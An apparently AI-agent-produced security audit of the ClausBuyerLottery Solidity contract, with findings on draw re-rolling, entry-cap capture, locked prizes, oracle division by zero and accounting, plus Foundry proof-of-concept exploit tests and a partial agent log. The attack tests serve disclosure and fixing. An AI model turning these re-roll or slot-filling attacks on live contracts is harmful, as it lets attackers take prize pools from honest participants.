Four agents audited the code as it is at 50766fa, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

Download the report (Markdown)

1 medium5 low1 info

• 1.mediumdraw() reschedules without limit after a 256-block expiry, so any losing ticket holder can re-roll the winner for gas onlysrc/ClausBuyerLottery.sol:202

          if (h == bytes32(0)) {

  draw(r) is permissionless and nothing in the protocol (onTrade, closeRound, claim) triggers a pending draw automatically. When blockhash(targetBlock) has expired (no draw within 256 blocks, about 51 minutes on mainnet) the round is not settled from any committed value: lines 202-206 set targetBlock = block.number + 5, leave settled == false and return address(0). The number of reschedules is unbounded.

  The outcome is therefore decided not by the target block but by whoever watches: a ticket holder simulates the pick off-chain at target+1 (the hash and the entry list are public), calls draw only when the pick lands on them, and otherwise waits for the hash to expire and calls draw to obtain a fresh independent target. Each re-roll costs one cheap transaction and no capital.

  With ticket share p the expected number of re-rolls is 1/p, so a 5% holder needs about 20 re-rolls (about 17 hours) and a 25% holder about 4. The honest majority loses unless someone draws within 51 minutes of every target block, and nothing pays anyone to do so. The NatSpec (lines 31-33) only discloses proposer withholding, which costs a block reward; this path needs no validator and is open to any address.

  Merged from the economics, flow and math specialists (same mechanism, same line). Related, unenforced: closeRound() is callable by anyone at any time after openedAt + 4h and sets targetBlock = block.number + 5, so a proposer who knows the schedule can place the target on its own slot; the pot is not bounded relative to block rewards. Fix (keeps the design): do not draw a fresh random target on expiry.

  Either commit on the first draw attempt after target (store blockhash(target) through a permissionless commit anyone may call within the window) and resolve deterministically from an already-committed value after expiry (post-Pectra the EIP-2935 history contract gives an 8191-block window), or cap reschedules at one and make the second resolution deterministic; and/or pay a small draw bounty from the pot so bots race to settle at target+1.

  A VRF would remove the issue but is a scope decision.

  whole finding

  State: round 0 holds A with 19,000 tickets (tagged buy, moduleFeeEth 0.1425 ether) and B with 1,000 tickets (moduleFeeEth 0.0075 ether), ETH/USD feed 4000e8 fresh so ticketWei = 0.0025 ether.

  Steps: (1) warp 4h, anyone calls closeRound(): targetBlock = T = block.number + 5.

  (2) At T+1 compute pick = keccak256(abi.encode(blockhash(T), 0, lottery)) % 20000 and resolve against entryAt(0, i); in the test this picks A.

  (3) B does not call draw; nobody else does.

  (4) At T+257 B calls draw(0): blockhash(T) == 0, targetBlock becomes T+262, settled stays false, returns address(0).

  (5) B repeats (2)-(4) until the pick at the new target lands on B, then calls draw(0) within the window.

  Expected: the winner is fixed by the first target T regardless of who calls draw or when (or at most one reschedule).

  Actual: after 21 re-rolls the 5% holder B is drawn (test test_losingHolderRerollsUntilWin, 'rerolls needed: 21', 'final winner: 0x...bBB1') and claim(0) would pay B the whole 0.05 ether pot.

  Verified with forge 1.8.3 using mocks etched at the constant GOVERNANCE, MANAGER and FEED addresses.

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import "forge-std/Test.sol";
  import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
  import {ProgramTypes} from "src/IClausTradeProgram.sol";
  
  contract MockGov {
      mapping(address => address) public adapterFor;
      mapping(address => bool) public approvedAdapter;
      function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
  }
  
  contract MockFeed {
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 4000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  interface ICb { function unlockCallback(bytes calldata) external returns (bytes memory); }
  
  contract MockManager {
      mapping(address => uint256) public bal;
      bool unlocked;
      function balanceOf(address a, uint256) external view returns (uint256) { return bal[a]; }
      function mint(address a, uint256 x) external { bal[a] += x; }
      function unlock(bytes calldata d) external returns (bytes memory) {
          require(!unlocked, "AlreadyUnlocked");
          unlocked = true;
          bytes memory r = ICb(msg.sender).unlockCallback(d);
          unlocked = false;
          return r;
      }
      function burn(address from, uint256, uint256 x) external { bal[from] -= x; }
      function take(address, address to, uint256 x) external { (bool ok,) = to.call{value: x}(""); require(ok, "NativeTransferFailed"); }
      receive() external payable {}
  }
  
  /// Finding: draw() reschedules a round whenever blockhash(targetBlock) has expired, with no limit.
  /// A losing ticket holder who sees the committed hash pick someone else simply waits 256 blocks
  /// and calls draw() to get a fresh, independent target. Repeating this until a hash favours them
  /// gives a minority holder the whole pot for gas only.
  contract RerollTest is Test {
      ClausBuyerLottery lot;
      MockGov gov;
      MockManager mgr;
      address adapter = address(0xA11);
      address A = address(0xAAA1);
      address B = address(0xBBB1);
  
      function setUp() public {
          vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
          vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
          vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new MockFeed()).code);
          gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
          mgr = MockManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90));
          vm.deal(address(mgr), 1000 ether);
          vm.warp(1_000_000);
          vm.roll(1000);
          lot = new ClausBuyerLottery();
          gov.set(address(lot), adapter);
      }
  
      function _buy(uint256 id, uint256 fee, address who) internal {
          bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
          ProgramTypes.Trade memory t = ProgramTypes.Trade(id, adapter, address(0xdead), true, 0, 0, 0, fee,
              block.number, block.timestamp, keccak256(data));
          mgr.mint(address(lot), fee);
          vm.prank(adapter);
          lot.onTrade(t, data);
      }
  
      // Off-chain simulation of the draw: what draw(0) would return right now.
      function _pickAt(uint64 target) internal view returns (address) {
          bytes32 h = blockhash(target);
          require(h != bytes32(0), "hash expired");
          (, , uint96 tickets, , , ,) = lot.rounds(0);
          uint256 pick = uint256(keccak256(abi.encode(h, uint256(0), address(lot)))) % uint256(tickets);
          (address b0, uint256 c0) = lot.entryAt(0, 0);
          if (pick < c0) return b0;
          (address b1,) = lot.entryAt(0, 1);
          return b1;
      }
  
      function test_losingHolderRerollsUntilWin() public {
          // ticketWei = 10e8 * 1e18 / 4000e8 = 0.0025 ether. A: 19,000 tickets, B: 1,000 tickets.
          _buy(1, 0.1425 ether, A); // 47.5 ETH volume
          _buy(2, 0.0075 ether, B); // 2.5 ETH volume
          (, , uint96 tickets, , , ,) = lot.rounds(0);
          assertEq(uint256(tickets), 20_000);
  
          vm.warp(block.timestamp + 4 hours);
          lot.closeRound();
          (, uint64 target, , , , ,) = lot.rounds(0);
          vm.roll(target + 1);
          address first = _pickAt(target);
          address loser = first == A ? B : A;
          emit log_named_address("winner fixed by the first target", first);
  
          // The loser never calls draw while the committed hash is live. Nobody else does either.
          uint256 rerolls;
          address winner;
          while (true) {
              vm.roll(target + 257); // blockhash(target) is now 0
              vm.prank(loser);
              winner = lot.draw(0);
              if (winner != address(0)) break; // a fixed contract may settle here instead
              rerolls++;
              (, target, , , , ,) = lot.rounds(0);
              vm.roll(target + 1);
              if (_pickAt(target) == loser) {
                  vm.prank(loser);
                  winner = lot.draw(0);
                  break;
              }
              require(rerolls < 1000, "unlucky run");
          }
          emit log_named_uint("rerolls needed", rerolls);
          emit log_named_address("final winner", winner);
  
          // Expected: the outcome committed by the first target stands (or at most one reschedule).
          // Actual: the loser rerolls at will until the pick lands on them.
          assertTrue(winner == first || rerolls <= 1, "losing holder rerolled the draw until it won");
      }
  }

  whole proof

• 2.lowPer-round cap of 20,000 entries drops later tagged buyers' tickets while their 0.10% prize share still funds the potsrc/ClausBuyerLottery.sol:146

          if (list.length >= MAX_ENTRIES_PER_ROUND) {

  onTrade credits the receipt's prize share to rounds[r].pot and openPots (lines 120-124) before _enter runs. Once a round holds MAX_ENTRIES_PER_ROUND entries, _enter emits TicketsDropped and returns (lines 146-149): the buyer has paid into the pot but holds no ticket and gets no revert it could notice.

  The cap counts entries, not tickets, and one entry needs only one ticket (about $10 of buy volume at the live feed price), so one actor can fill all 20,000 slots at the start of a round with minimum tagged buys and then hold 100% of the tickets for the rest of the round while every later tagged buy, however large, funds a prize only the filler can win. _find() is a binary search, so the cap is not needed to bound draw() gas.

  Cost to the filler is about $200k of round-trip volume, about $4.8k in 2.4% program fees and 20,000 swap+delivery transactions (roughly 11 ETH of gas at 1 gwei), against a pot of 0.1% of the remaining round volume, so the capture only pays at tens of millions of dollars of round volume; at current volume it is griefing. Severity low for that reason, although the stated rule that tagged buys enter the open round is broken silently. Merged from all four specialists (same line).

  Fix: cap tickets per round instead of entries (uint96 already bounds them), or merge consecutive entries from the same beneficiary into the last Entry (the cumulative layout allows it), or require a minimum ticket count per entry; and keep ticket issuance consistent with prize funding so a dropped receipt does not pay into the pot.

  whole finding

  State: fresh round 0, feed 3000e8 fresh (ticketWei = 3.333e15).

  Steps: (1) adapter delivers 20,000 buy receipts with moduleFeeEth = 1e13 and data = 0x434c544b ++ attacker: each earns 1 ticket, entryCount(0) == 20,000, rounds(0).tickets == 20,000.

  (2) adapter delivers an honest buy with moduleFeeEth = 0.3 ether (100 ETH volume, 30,000 tickets expected) and data = 0x434c544b ++ honest.

  Expected: rounds(0).tickets == 50,000 and the honest buyer holds 60% of the round.

  Actual: rounds(0).pot rises by 0.1 ether, TicketsDropped is emitted, tickets stays 20,000, and draw(0) always returns the attacker.

  The attached test (from the math specialist, re-run by me) fails on the current code with 'honest buyer received no tickets although it funded the prize: 20000 <= 20000' under the default gas limit (about 55 s because of the 20,000-iteration loop).

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import "forge-std/Test.sol";
  import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
  import {ProgramTypes} from "src/IClausTradeProgram.sol";
  
  contract MockGov {
      address public adapter;
      constructor(address a) { adapter = a; }
      function adapterFor(address) external view returns (address) { return adapter; }
      function approvedAdapter(address a) external view returns (bool) { return a == adapter; }
  }
  
  contract MockFeed {
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 3000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  contract EntryCapTest is Test {
      ClausBuyerLottery lot;
      uint256 nextId = 1;
  
      function setUp() public {
          lot = new ClausBuyerLottery();
          MockGov g = new MockGov(address(this));
          vm.etch(lot.GOVERNANCE(), address(g).code);
          vm.store(lot.GOVERNANCE(), bytes32(0), bytes32(uint256(uint160(address(this)))));
          vm.etch(lot.FEED(), address(new MockFeed()).code);
      }
  
      function _buy(address who, uint256 moduleFee) internal {
          bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
          ProgramTypes.Trade memory t;
          t.id = nextId++;
          t.module = address(this);
          t.buy = true;
          t.moduleFeeEth = moduleFee;
          t.dataHash = keccak256(data);
          lot.onTrade(t, data);
      }
  
      // Attacker fills the round's 20,000 entry slots with minimum (1-ticket, ~$10) buys.
      // A later honest tagged buy of 100 ETH still pays 0.1 ETH into the pot but gets
      // zero tickets, so the attacker wins that 0.1 ETH with certainty.
      function test_entryCapDropsTicketsButKeepsPrize() public {
          address attacker = address(0xA11CE);
          address honest = address(0xB0B);
          vm.pauseGasMetering();
          for (uint256 i; i < 20_000; i++) _buy(attacker, 1e13); // 1 ticket each at $3000/ETH
          vm.resumeGasMetering();
          assertEq(lot.entryCount(0), 20_000);
  
          uint256 potBefore;
          (, , , , , , potBefore) = lot.rounds(0);
          _buy(honest, 0.3 ether); // 100 ETH buy => module fee 0.3 ETH, prize 0.1 ETH
          (, , uint96 tickets, , , , uint256 potAfter) = lot.rounds(0);
          assertEq(potAfter - potBefore, 0.1 ether, "honest buy funded the pot");
  
          // Expected: the 100 ETH buy (30,000 tickets) is represented in the draw.
          // Actual: it was dropped; all 20,000 tickets belong to the attacker.
          assertGt(uint256(tickets), 20_000, "honest buyer received no tickets although it funded the prize");
      }
  }

  whole proof

• 3.lowA winning beneficiary that rejects ETH and cannot call claimTo() locks that round's pot foreversrc/ClausBuyerLottery.sol:253

          if (!round.settled || round.claimed || round.winner == address(0)) revert NotClaimable();

  The beneficiary is an arbitrary 20-byte value chosen by the swapper in hookData. _claim pushes native ETH through PoolManager.take(address(0), to, amount), which reverts (NativeTransferFailed) when the winner is a contract without a payable receive/fallback, so claim(r) reverts for everyone.

  The only alternative, claimTo(r, to), requires msg.sender == rounds[r].winner, which a contract that cannot issue arbitrary calls (an ERC-20 token, a burned CREATE2 address, a vault without an execute path) can never satisfy. prizeLiability stays raised and the ETH claims stay in the lottery with no expiry, sweep or roll-forward.

  Reachable by mistake (a user tags a contract wallet that lacks receive) and deliberately: a griefer who tags such an address with a $10 buy removes the pot from circulation with probability equal to their ticket share. The NatSpec 'Unclaimed prizes stay owed' covers a winner who has not claimed yet, not one that can never be paid.

  Fix (keeps the design): after a claim window (e.g. 30 days) let anyone roll an unclaimed pot into the open round (round.claimed = true; rounds[currentRound].pot += amount; openPots += amount; prizeLiability -= amount), or on transfer failure fall back to transferring the ERC-6909 claims to the winner instead of taking native ETH.

  whole finding

  State: the only tagged entry in round 0 is a buy with data = 0x434c544b ++ D where D is a contract with no receive/fallback (test uses a fresh empty contract; mainnet USDC behaves the same).

  Steps: (1) warp 4h, closeRound(); (2) at targetBlock+1 draw(0) returns D and prizeLiability == 0.1 ether; (3) anyone calls claim(0): _pay -> unlock -> unlockCallback -> take reverts NativeTransferFailed and the whole call reverts; (4) claimTo(0, x) from any address other than D reverts Unauthorized, and D cannot call it.

  Expected: the prize is paid or eventually returned to the lottery economy.

  Actual: rounds(0).claimed stays false and prizeLiability stays 0.1 ether after a year (test test_nonReceivingWinnerLocksPot fails with 'pot of round 0 is locked forever').

  Verified with forge 1.8.3 using a PoolManager mock whose take() performs the native transfer.

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import "forge-std/Test.sol";
  import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
  import {ProgramTypes} from "src/IClausTradeProgram.sol";
  
  contract MockGov {
      mapping(address => address) public adapterFor;
      mapping(address => bool) public approvedAdapter;
      function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
  }
  
  contract MockFeed {
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 4000e8, block.timestamp, block.timestamp, 1);
      }
  }
  
  interface ICb { function unlockCallback(bytes calldata) external returns (bytes memory); }
  
  // Minimal PoolManager stand-in: ERC-6909 native claims, unlock/callback, burn, take (native send).
  contract MockManager {
      mapping(address => uint256) public bal;
      bool unlocked;
      function balanceOf(address a, uint256) external view returns (uint256) { return bal[a]; }
      function mint(address a, uint256 x) external { bal[a] += x; }
      function unlock(bytes calldata d) external returns (bytes memory) {
          require(!unlocked, "AlreadyUnlocked");
          unlocked = true;
          bytes memory r = ICb(msg.sender).unlockCallback(d);
          unlocked = false;
          return r;
      }
      function burn(address from, uint256, uint256 x) external { bal[from] -= x; }
      function take(address, address to, uint256 x) external { (bool ok,) = to.call{value: x}(""); require(ok, "NativeTransferFailed"); }
      // ERC-6909 transfer, available on the real PoolManager, for a claims-fallback fix.
      function transfer(address to, uint256, uint256 x) external returns (bool) { bal[msg.sender] -= x; bal[to] += x; return true; }
      receive() external payable {}
  }
  
  // A beneficiary that cannot receive ETH and cannot call claimTo (e.g. an ERC-20 token contract).
  contract NoReceive {}
  
  /// Finding: a winner that rejects ETH and cannot call claimTo() locks the round's pot forever.
  /// claim() reverts in PoolManager.take, claimTo() is winner-only, and there is no expiry,
  /// sweep or roll-over of an unclaimed prize.
  contract LockedPrizeTest is Test {
      ClausBuyerLottery lot;
      MockGov gov;
      MockManager mgr;
      address adapter = address(0xA11);
  
      function setUp() public {
          vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
          vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
          vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new MockFeed()).code);
          gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
          mgr = MockManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90));
          vm.deal(address(mgr), 1000 ether);
          vm.warp(1_000_000);
          vm.roll(1000);
          lot = new ClausBuyerLottery();
          gov.set(address(lot), adapter);
      }
  
      function _buy(uint256 id, uint256 fee, address who) internal {
          bytes memory data = abi.encodePacked(bytes4(0x434c544b), who);
          ProgramTypes.Trade memory t = ProgramTypes.Trade(id, adapter, address(0xdead), true, 0, 0, 0, fee,
              block.number, block.timestamp, keccak256(data));
          mgr.mint(address(lot), fee);
          vm.prank(adapter);
          lot.onTrade(t, data);
      }
  
      function test_nonReceivingWinnerLocksPot() public {
          address dead = address(new NoReceive());
          _buy(1, 0.3 ether, dead); // only tagged entry in round 0; pot = 0.1 ether
          vm.warp(block.timestamp + 4 hours);
          lot.closeRound();
          (, uint64 target, , , , ,) = lot.rounds(0);
          vm.roll(target + 1);
          assertEq(lot.draw(0), dead);
          assertEq(lot.prizeLiability(), 0.1 ether);
  
          // Anyone pushing the prize: on the current code the native transfer to the winner reverts
          // (NativeTransferFailed bubbles out of PoolManager.take) and the whole claim reverts.
          (bool ok, bytes memory ret) = address(lot).call(abi.encodeCall(lot.claim, (0)));
          if (!ok) emit log_named_bytes("claim(0) revert data", ret);
          // Nobody but the winner may redirect it, and the winner is a contract that cannot call.
          vm.expectRevert(ClausBuyerLottery.Unauthorized.selector);
          lot.claimTo(0, address(0xC0FFEE));
  
          // Expected: the pot is paid (e.g. claims-transfer fallback when the native send fails) or
          // otherwise leaves prizeLiability. Actual: it is owed forever and no function can move it.
          vm.warp(block.timestamp + 365 days);
          (, , , , bool claimed, ,) = lot.rounds(0);
          assertTrue(claimed || lot.prizeLiability() == 0, "pot of round 0 is locked forever");
      }
  }

  whole proof

• 4.lowA fresh oracle answer above 1e27 makes _ticketWei() return 0 and every tagged buy receipt revert with division by zerosrc/ClausBuyerLottery.sol:142

          uint256 n = (fee * 1_000_000 / COLLECTION_PIPS) / _ticketWei();

  _ticketWei() guards against a failing call, a non-positive answer and a stale answer, but not against a positive fresh answer large enough that TICKET_USD_8 * 1e18 / answer rounds to 0 (any answer > 1e27, i.e. a reported ETH price above 1e19 USD). The NatSpec (lines 156-157) promises the oracle never blocks delivery, but in that state line 142 divides by zero and onTrade reverts with Panic(0x12) for every receipt whose hookData carries the ticket tag until the feed recovers.

  Untagged receipts and sells still deliver. Whether a reverting onTrade blocks the swap or only the receipt depends on the adapter and host, which are outside the repository. Likelihood is low (aggregator malfunction), impact a temporary delivery denial of service for tagged buys, hence low.

  Fix: in _ticketWei() treat a computed price of 0 as a failure and return FALLBACK_TICKET_WEI, or bound the answer to a sane range before use.

  whole finding

  State: FEED.latestRoundData() returns answer = 2e27 with updatedAt = block.timestamp.

  Steps: (1) ticketWei() returns 0 (10e8 * 1e18 / 2e27 == 0).

  (2) the adapter delivers a buy receipt with moduleFeeEth = 0.0075 ether and data = 0x434c544b ++ 0xA11CE, dataHash matching.

  Expected: the receipt is delivered, using the fallback ticket size or issuing zero tickets.

  Actual: onTrade reverts with 0x4e487b71...12 (Panic: division by zero); test test_absurdFreshAnswerBlocksTaggedDelivery fails on the current code.

  Verified with forge 1.8.3.

  whole reproduction
  proof · a Foundry test that fails on this code and passes once it is fixed

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import "forge-std/Test.sol";
  import {ClausBuyerLottery} from "src/ClausBuyerLottery.sol";
  import {ProgramTypes} from "src/IClausTradeProgram.sol";
  
  contract MockGov {
      mapping(address => address) public adapterFor;
      mapping(address => bool) public approvedAdapter;
      function set(address p, address a) external { adapterFor[p] = a; approvedAdapter[a] = true; }
  }
  
  // Fresh, positive, but absurdly large ETH/USD answer (> 1e27, i.e. ETH above 1e19 USD).
  contract HugeFeed {
      function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
          return (1, 2e27, block.timestamp, block.timestamp, 1);
      }
  }
  
  contract MockManager {
      function balanceOf(address, uint256) external pure returns (uint256) { return 0; }
  }
  
  /// Finding: _ticketWei() returns 0 for a fresh answer above 1e27, and _enter() then divides by
  /// zero, so every tagged buy receipt reverts although the NatSpec promises the oracle never
  /// blocks delivery.
  contract OracleZeroTest is Test {
      ClausBuyerLottery lot;
      MockGov gov;
      address adapter = address(0xA11);
  
      function setUp() public {
          vm.etch(0x180eAE784dEe739FBab432B06f78bF9a98Aae334, address(new MockGov()).code);
          vm.etch(0x000000000004444c5dc75cB358380D2e3dE08A90, address(new MockManager()).code);
          vm.etch(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419, address(new HugeFeed()).code);
          gov = MockGov(0x180eAE784dEe739FBab432B06f78bF9a98Aae334);
          vm.warp(1_000_000);
          lot = new ClausBuyerLottery();
          gov.set(address(lot), adapter);
      }
  
      function test_absurdFreshAnswerBlocksTaggedDelivery() public {
          // On the current code 10e8 * 1e18 / 2e27 rounds to zero; a fixed contract returns the fallback.
          emit log_named_uint("ticketWei", lot.ticketWei());
  
          bytes memory data = abi.encodePacked(bytes4(0x434c544b), address(0xA11CE));
          ProgramTypes.Trade memory t = ProgramTypes.Trade(1, adapter, address(0xdead), true, 0, 0, 0, 0.0075 ether,
              block.number, block.timestamp, keccak256(data));
          // Expected: delivered (fallback ticket size or zero tickets). Actual: Panic(0x12) division by zero.
          vm.prank(adapter);
          (bool ok, bytes memory ret) = address(lot).call(abi.encodeCall(lot.onTrade, (t, data)));
          if (!ok) emit log_named_bytes("revert data", ret);
          assertTrue(ok, "tagged buy receipt reverted because of the oracle answer");
      }
  }

  whole proof

• 5.lowReceipt replay guard is keyed by trade.id alone, so a rotated adapter whose receipt ids overlap the old adapter's is rejectedsrc/ClausBuyerLottery.sol:114

          if (trade.module != msg.sender || received[trade.id] || trade.dataHash != keccak256(data)) revert InvalidReceipt();

  onTrade binds each receipt to one adapter (trade.module == msg.sender) but the replay guard received[trade.id] (lines 71, 114-115) is a global mapping that ignores the module. GOVERNANCE can change adapterFor(lottery) and approvedAdapter at any time. If a replacement adapter numbers its receipts from its own counter, every id the previous adapter already delivered makes onTrade revert InvalidReceipt.

  Depending on the adapter that either blocks buys and sells routed through this program until its counter passes the old one, or, if the adapter catches the revert, leaves moduleFeeEth already credited as claims to this contract outside rounds/openPots/recipientAccrued with no function able to recover it.

  This only triggers if ids are not globally unique across adapters: the economics specialist reports that the live TradeExtensionHost assigns receipt ids from a single counter, which I could not verify from the repository, so the precondition is a governance choice and the severity is low.

  Fix: key the guard by (module, id), e.g. received[keccak256(abi.encode(trade.module, trade.id))].

  whole finding

  State: GOVERNANCE.adapterFor(lottery) = A, approvedAdapter(A) = true.

  Steps: (1) A delivers Trade{id: 1, module: A, buy: true, moduleFeeEth: 0.003 ether, data: 0x434c544b ++ 0xBEEF}: accepted, entryCount(0) == 1.

  (2) GOVERNANCE sets adapterFor(lottery) = B, approvedAdapter(B) = true.

  (3) B delivers Trade{id: 1, module: B, buy: true, moduleFeeEth: 0.003 ether, data: 0x434c544b ++ 0xCAFE}.

  Expected: accepted as a distinct receipt from a distinct module, entryCount(0) == 2.

  Actual: reverts InvalidReceipt().

  The permissions specialist's test test_receiptIdCollisionAfterAdapterRotation fails with InvalidReceipt() on the current code; re-run by me with forge 1.8.3.

  whole reproduction

• 6.lowAccounting trusts trade.moduleFeeEth without reconciling against received claims, so collectFees can spend the reserve that backs drawn prizessrc/ClausBuyerLottery.sol:274

          if (_paying != 0 || amount > reserveClaims()) revert InvalidCollection();

  onTrade credits rounds[r].pot, openPots and recipientAccrued from the adapter-reported trade.moduleFeeEth (lines 117-125) and never checks that MANAGER.balanceOf(this, 0) grew by that amount; the contract has no receive(), so fees can only arrive as ERC-6909 claims minted by the adapter. _pay checks only the pooled reserve, not the per-bucket split, and collectFees is callable by anyone, bounded only by recipientAccrued - recipientCollected.

  So one receipt whose reported fee exceeds the claims actually delivered (adapter bug, fee split mismatch, or a governance-approved misbehaving adapter) lets anyone move prize liability owed to a drawn winner to RECIPIENT; the winner's claim then reverts InvalidCollection until further fees arrive, and prizeLiability stays raised.

  Precondition is adapter or governance misbehaviour (a trust assumption; the economics specialist reports the live adapter forwards exactly the reported fee), which is why this is low, but the task states that treasury and user claims are not delegated and a one-line local defence exists. Merged from the permissions, flow and math specialists.

  Fix: in collectFees require reserveClaims() - amount >= openPots + prizeLiability, or in onTrade require reserveClaims() >= openPots + prizeLiability + (recipientAccrued - recipientCollected) before accruing.

  whole finding

  State (mock MANAGER and GOVERNANCE etched at the constant addresses): receipt 1 is a tagged buy with moduleFeeEth = 0.3 ether and 0.3 ether of claims minted; onTrade's self-call collectFees pays RECIPIENT 0.2 ether; closeRound and draw(0) give winner 0xBEEF prizeLiability = 0.1 ether with reserveClaims() = 0.1 ether.

  Receipt 2 (id 2, sell) reports moduleFeeEth = 0.3 ether but mints no claims, so recipientAccrued rises by 0.2 ether and the in-receipt collectFees(0.2 ether) is deferred (0.2 > reserve 0.1).

  Anyone calls collectFees(0.1 ether).

  Expected: revert, because that reserve backs the drawn prize.

  Actual: succeeds (0.1 <= reserve 0.1), reserveClaims() == 0 < prizeLiability == 0.1 ether, and claim(0) reverts InvalidCollection at line 274 until new fees arrive.

  Traced through lines 125-133 and 266-274 against the code.

  whole reproduction

• 7.infoPrivileged roles, mutable dependencies and design trust assumptions that can change behaviour after reviewsrc/ClausBuyerLottery.sol:113

          if (msg.sender != g.adapterFor(address(this)) || !g.approvedAdapter(msg.sender)) revert Unauthorized();

  Entry files read: src/ClausBuyerLottery.sol (289 lines, contract ClausBuyerLottery plus the three local interfaces) and its only import src/IClausTradeProgram.sol (ProgramTypes.Trade, IProgram).

  Runtime dependencies GOVERNANCE, MANAGER, FEED, the adapter and the host are not in the repository; I spot-checked mainnet (publicnode RPC): FEED 0x5f4e...8419 describes itself as 'ETH / USD' with a fresh 8-decimal answer, GOVERNANCE 0x180e...e334 and MANAGER 0x0000...8A90 have code, RECIPIENT 0x5a42...d995 has no code. The contract has no owner, upgrade path or pause.

  Roles and dependencies: (1) GOVERNANCE decides adapterFor/approvedAdapter at every call (line 113). Whoever it designates can deliver arbitrary receipts (id, buy flag, moduleFeeEth, hookData), mint itself up to MAX_TICKETS_PER_BUY tickets per receipt without any swap, or revoke the adapter and stop new deliveries.

  The economics specialist reports adapterFor/approvedAdapter are write-once on the live governance and that the operator can only install or uninstall the adapter; not verified by me. (2) The adapter is trusted for trade.buy, moduleFeeEth and for actually minting matching ERC-6909 native claims (see the accounting finding).

  (3) FEED is the Chainlink ETH/USD proxy whose aggregator Chainlink can change; it only sizes tickets and falls back to 0.004 ether per ticket when stale, non-positive or reverting, so ticket counts per dollar can drift by the ETH/USD move since the last update; a code-less or malformed-returning feed would revert onTrade (try/catch does not cover decoding), which is not the case on mainnet.

  (4) MANAGER is the immutable Uniswap v4 PoolManager custodying all funds as claims id 0. (5) RECIPIENT is a fixed EOA; if it ever gains code that rejects ETH (EIP-7702) collection is deferred, never lost.

  Design notes, not defects: untagged buys and sells fund the pot but hold no tickets (NatSpec lines 26-30), so a tagged buyer's expected prize exceeds their own contribution and a last-second tagged entry plus closeRound() in one transaction is an informed but volume-proportional entry; block-proposer withholding of the target block is disclosed (lines 31-33).

  Verified properties: quote() is pure and returns [12000,3000,1500,0,3500,3000]; receipt binding (module == msg.sender, keccak(data) == dataHash) and single delivery per id hold; no code path sends value anywhere except RECIPIENT and a drawn winner or the winner's chosen address; _pay's _paying sentinel blocks nested payouts and foreign unlockCallback callers, and the 150k-gas self-call keeps a failing collection from blocking delivery; uint96 ticket totals cannot overflow (at most 1e6 x 20,000 per round); closeRound cannot be called twice for one round; draw() cannot hit modulo-by-zero because targetBlock is only set when tickets != 0.

  Coverage limits: no Slither, no fork tests, and the adapter/host/governance source was not read.

  whole finding

  Trust assumption, not a defect.

  Example state: GOVERNANCE returns adapterFor(lottery) = X and approvedAdapter(X) = true.

  X calls onTrade(Trade{id: N, module: X, buy: true, moduleFeeEth: 2.5e18, dataHash: keccak(0x434c544b ++ X)}, 0x434c544b ++ X) and is issued 1,000,000 tickets with no swap having taken place; X also controls the pot and recipient accrual through moduleFeeEth.

1. Posted5 minto the first attempt
2. Audit permissionsAgent #1782found 1 medium, 2 low, 1 info

   I found three defects in src/ClausBuyerLottery.sol: one medium and two low. None is critical or high. All four entries (the three findings plus one note on roles) are in .imd-findings.json. I didn't change any source files, and I deleted the scratch tests afterwards.

   What I read: both entry files in full, src/ClausBuyerLottery.sol (289 lines) and the interface it imports, src/IClausTradeProgram.sol. The repository has no other source and no lib/. I installed forge-std in /tmp to run tests.

   What the contract does: the trade adapter calls onTrade for each trade. It splits the program's fee: two-thirds is owed to a fixed recipient, one-third goes into the open round's prize pot. A buy tagged with CLTK plus an address earns tickets, priced at $10 each from the Chainlink ETH/USD feed, or 0.004 ETH if the feed is stale. Anyone can close a round after 4 hours and draw a winner 5 blocks later. Payouts go through the Uniswap v4 PoolManager, using the contract's claim balance there.

   Findings:

   1. Medium: duplicate check ignores which adapter sent the trade (line 114). received is keyed only by trade.id. If governance switches to a new adapter whose ids restart at 1, every id the old adapter already used is rejected with InvalidReceipt. Depending on how the adapter handles that, either trades through this program revert, or the fees already credited to the contract never get recorded and can't be recovered. Forge test confirmed: adapter A sends id 1, governance switches to B, B sends id 1, and it reverts. The proof test is in the JSON. Fix: key the check by adapter and id together. This assumes adapter ids aren't unique across adapters; I couldn't check that, because the adapter code isn't in the repo.
